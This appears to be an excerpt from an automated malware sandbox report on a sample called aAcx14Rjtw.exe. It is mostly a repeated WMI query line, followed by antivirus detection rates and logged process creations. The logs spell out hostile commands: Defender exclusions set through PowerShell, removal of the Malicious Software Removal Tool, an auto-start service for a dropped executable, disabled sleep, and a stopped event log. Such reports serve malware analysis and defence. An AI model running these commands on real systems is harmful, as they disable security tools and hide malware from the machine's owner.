            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: aAcx14Rjtw.exeReversingLabs: Detection: 63%
            Source: aAcx14Rjtw.exeVirustotal: Detection: 61%
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeFile read: C:\Users\user\Desktop\aAcx14Rjtw.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\aAcx14Rjtw.exe "C:\Users\user\Desktop\aAcx14Rjtw.exe"
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "VITZDPED"
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "VITZDPED" binpath= "C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe" start= "auto"
            Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "VITZDPED"
            Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: unknownProcess created: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\explorer.exe explorer.exe
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "VITZDPED"Jump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "VITZDPED" binpath= "C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe" start= "auto"Jump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlogJump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "VITZDPED"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
